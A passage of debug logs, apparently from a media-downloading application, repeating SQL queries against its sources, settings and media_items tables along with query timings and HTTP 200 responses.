s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:02.625 [debug] QUERY OK source="sources" db=2.5ms queue=0.3ms idle=0.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:46:02.626 [debug] QUERY OK source="settings" db=1.1ms queue=2.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.627 [debug] QUERY OK source="media_items" db=2.5ms queue=2.3ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 06:46:02.627 [debug] QUERY OK source="media_items" db=3.8ms queue=1.2ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 06:46:02.627 [debug] QUERY OK source="media_items" db=4.9ms queue=0.2ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 06:46:02.627 [debug] QUERY OK source="sources" db=1.1ms queue=2.6ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.629 [debug] QUERY OK source="media_items" db=3.7ms queue=1.4ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 06:46:02.629 [debug] QUERY OK source="settings" db=1.6ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.631 [debug] QUERY OK source="media_items" db=3.4ms queue=2.4ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 06:46:02.631 [debug] QUERY OK source="media_items" db=3.6ms queue=2.5ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 06:46:02.633 [debug] QUERY OK source="media_items" db=5.5ms queue=2.8ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:46:02.634 [debug] QUERY OK source="media_items" db=3.0ms queue=3.0ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 06:46:02.636 [debug] QUERY OK source="media_items" db=6.4ms queue=2.7ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:46:02.637 [debug] QUERY OK source="media_items" db=7.5ms queue=1.2ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:46:02.638 [debug] QUERY OK source="media_items" db=6.3ms queue=3.6ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:46:02.638 [info] Sent 200 in 130ms 06:46:02.638 [debug] QUERY OK source="media_items" db=5.3ms queue=4.1ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:46:02.639 [info] Sent 200 in 131ms 06:46:02.638 [debug] QUERY OK source="sources" db=1.7ms queue=5.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.639 [debug] QUERY OK source="sources" db=1.3ms queue=4.4ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.640 [info] Sent 200 in 131ms 06:46:02.640 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 06:46:02.640 [debug] QUERY OK source="media_items" db=5.5ms queue=3.0ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:46:02.641 [debug] QUERY OK source="media_items" db=2.8ms queue=3.8ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:46:02.642 [debug] QUERY OK source="media_items" db=1.6ms queue=0.2ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:46:02.643 [debug] QUERY OK source="media_items" db=2.6ms queue=0.3ms idle=0.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 06:46:02.643 [debug] QUERY OK source="sources" db=2.7ms idle=0.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:02.643 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:02.643 [debug] QUERY OK source="media_items" db=6.1ms queue=4.7ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:46:02.643 [info] Sent 200 in 132ms 06:46:02.643 [debug] QUERY OK source="media_items" db=0.4ms idle=0.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 06:46:02.644 [debug] QUERY OK source="media_items" db=0.5ms idle=0.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 06:46:02.644 [info] Sent 200 in 136ms 06:46:02.645 [debug] QUERY OK source="media_items" db=2.4ms queue=0.3ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:46:02.646 [debug] QUERY OK source="media_items" db=1.7ms idle=0.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 